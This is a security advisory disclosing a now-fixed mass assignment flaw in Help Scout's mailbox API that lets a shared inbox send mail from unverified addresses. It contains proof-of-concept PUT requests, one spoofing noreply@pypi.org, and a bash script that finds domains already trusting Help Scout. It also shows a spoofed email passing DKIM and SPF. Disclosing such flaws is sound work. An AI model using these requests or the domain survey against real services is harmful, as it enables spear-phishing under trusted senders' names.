Help Scout - Mass assignment vulnerability on inbox settings

23/09/2024 - Download

Product

Help Scout

Severity

Medium

Fixed Version(s)

N/A

Affected Version(s)

N/A

CVE Number

N/A

Authors

Clément Amic

Description

Presentation

Help Scout's shared inbox, help center, and live chat software gives your team the tools you need to easily manage customer communications. Among all the features, this solution allows sending e-mails to customers from external email addresses.

Issue(s)

When adding an email address to a shared inbox, Help Scout sends a verification code to the email address as a proof of identity.

However, the Help Scout API endpoint allowing to update shared inbox settings is affected by a mass assignment vulnerability, which allows replacing the configured address without having to pass the identity verification step. As a result, it is possible for an attacker to send emails through Help Scout from arbitrary addresses.

Timeline

Date Description
2024.08.21 Advisory sent to Help Scout
2024.09.18 Vulnerability fixed
2024.09.23 Public release

 

Technical details

Description

Help Scout allows adding external email addresses using custom domain names to a shared inbox.

Adding an e-mail address to a mailbox.
Adding an email address to a mailbox.
Identity verification step.
Identity verification step.

Once the proof of identity step has been validated, this address can be used to send emails to customers through the Inbox > New Conversation feature.

Creating a new e-mail conversation.
Creating a new email conversation.

The properties of shared inboxes are updated by the front-end application using the Help Scout API endpoint /api/v0/mailboxes/[MAILBOX-ID] through the PUT method.

On this API endpoint, the values of mailbox properties are mass assigned without proper validation or authorization checks. As a result, the email mailbox field can be set to an arbitrary value. For example, the following HTTP request sets the email field to test@google.com:

PUT /api/v0/mailboxes/[MAILBOX-ID]?ts=*** HTTP/1.1
Host: secure.helpscout.net
Cookie: PHPSESSID=2[...]
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: ***

{"ticketStatus":3,"ticketAssignee":1,"id":[MAILBOX-ID],"name":"***","activeAddress":{"user":"***","subdomain":"***","domain":"helpscoutapp.com","fullEmail":"***@***.helpscoutapp.com"},"addressUser":"synscout","addressSubdomain":"***","email":"test@google.com","emailIsConfirmed":true,"emailPendingConfirmation":false,"isDemo":false,"fromName":1,"fromNameCustom":"","slug":"***","alias":"support.***@helpscout.net","aliases":[],"template":2,"signature":" <br />","mxType":3,"inMethod":1,"isForwarderSetup":false,"hasReceivedTickets":false,"replyAsAlias":false,"autoBcc":false,"autoBccList":[],"options":{"mailboxFromNameOptions":{"1":"Inbox Name","2":"User's Name","3":"Custom Name"},"ticketStatusOptions":{"1":"Active","2":"Pending","3":"Closed"},"ticketAssigneeOptions":{"1":"Anyone (if Unassigned)","2":"Person Replying (if Unassigned)","3":"Person Replying"}},"signatureMode":1}

HTTP/1.1 200 OK
[...]

{"id":[MAILBOX-ID],"name":"***","activeAddress":{"user":"***","subdomain":"***","domain":"helpscoutapp.com","fullEmail":"***@***.helpscoutapp.com"},"addressUser":"***","addressSubdomain":"***","email":"test@google.com","emailIsConfirmed":true,"emailPendingConfirmation":false,"isDemo":false,"fromName":1,"fromNameCustom":"","slug":"***","alias":"support.***@helpscout.net","aliases":[],"convoStatus":3,"convoAssignee":1,"template":2,"signature":"\u00a0<br \/>","mxType":1,"inMethod":1,"isForwarderSetup":false,"hasReceivedTickets":false,"replyAsAlias":false,"autoBcc":false,"autoBccList":[],"updateOauth":false}

As this value is not verified by the server, the emailIsConfirmed field value remains to true, even though the email field was altered without passing the identity verification step. It should however be noted that the server will reject the new value if the same email address was already configured on another Help Scout account.

Impact

This vulnerability could have been exploited by attackers to perform spear-phishing attacks by spoofing email addresses using specific domains that are already configured to allow Help Scout to send emails on their behalf.

In order to allow Help Scout to send emails using an external domain, the domain name have to be configured using either:

  • A TXT record holding an SPF record.
  • A DKIM public key on the _domainkey subdomain.

In order to verify whether domain names from a list were already configured for Help Scout or not, the following bash script relying on the dig command-line tool can be used:

while read domain; do
  RESULT=$(dig +short "$domain" TXT | grep helpscout)
  RESULT_DKIM=$(dig "strong1._domainkey.$domain" +short | grep helpscout)
  if [[ $RESULT ]]; then
  	echo "$domain: $RESULT"
  elif [[ $RESULT_DKIM ]]; then
  	echo "$domain: $RESULT_DKIM"
  fi
done < domains.lst

Among well-known domain names, the following ones could have been used to spread malicious emails through Help Scout as they were already configured for this platform:

  • wordpress.org
  • pypi.org
  • mailchimp.com
  • digitalocean.com

For example, the following request exploits the vulnerability to spoof the noreply@pypi.org address:

PUT /api/v0/mailboxes/[MAILBOX-ID]?ts=*** HTTP/1.1
Host: secure.helpscout.net
Cookie: PHPSESSID=2[...]
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: ***

{"ticketStatus":3,"ticketAssignee":1,"id":[MAILBOX-ID],"name":"PyPI · The Python Package Index",[...],"email":"noreply@pypi.org","emailIsConfirmed":true,[...]}

HTTP/1.1 200 OK
[...]

{"id":[MAILBOX-ID],"name":"PyPI \u00b7 The Python Package Index",[...],"email":"noreply@pypi.org","emailIsConfirmed":true,"[...]}

Once modified, the Inbox > New Conversation feature can be used to send an email using the spoofed address:

Sending an arbitrary e-mail.
Sending an arbitrary email.

Finally, the email received by the targeted address will pass SPF and DKIM verification, as the spoofed domain name was already configured to allow Help Scout as a sender:

[...]
From: =?utf-8?Q?PyPI_=C2=B7_The_Python_Package_Index_<noreply@pypi.org>?=
Authentication-Results: dkim=pass (Good 1024 bit
    rsa-sha256 signature) header.d=pypi.org header.i=noreply@pypi.org
    header.a=rsa-sha256
Authentication-Results: dmarc=pass (p=none dis=none)
 header.from=pypi.org
Authentication-Results: spf=pass smtp.mailfrom=bounce.helpscout.net
Authentication-Results: arc=none smtp.remote-ip=***
Authentication-Results: dkim=pass (1024-bit key) header.d=pypi.org
 header.i=noreply@pypi.org header.b="***"
Received: from mail5.helpscout.net (mail5.helpscout.net [***]) (using TLSv1.3
 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
  key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256) (No
 client certificate requested) by *** (***) with ESMTPS id
 *** for <***>; ***, *** Aug 2024 **:**:** +0000 (UTC)
[...]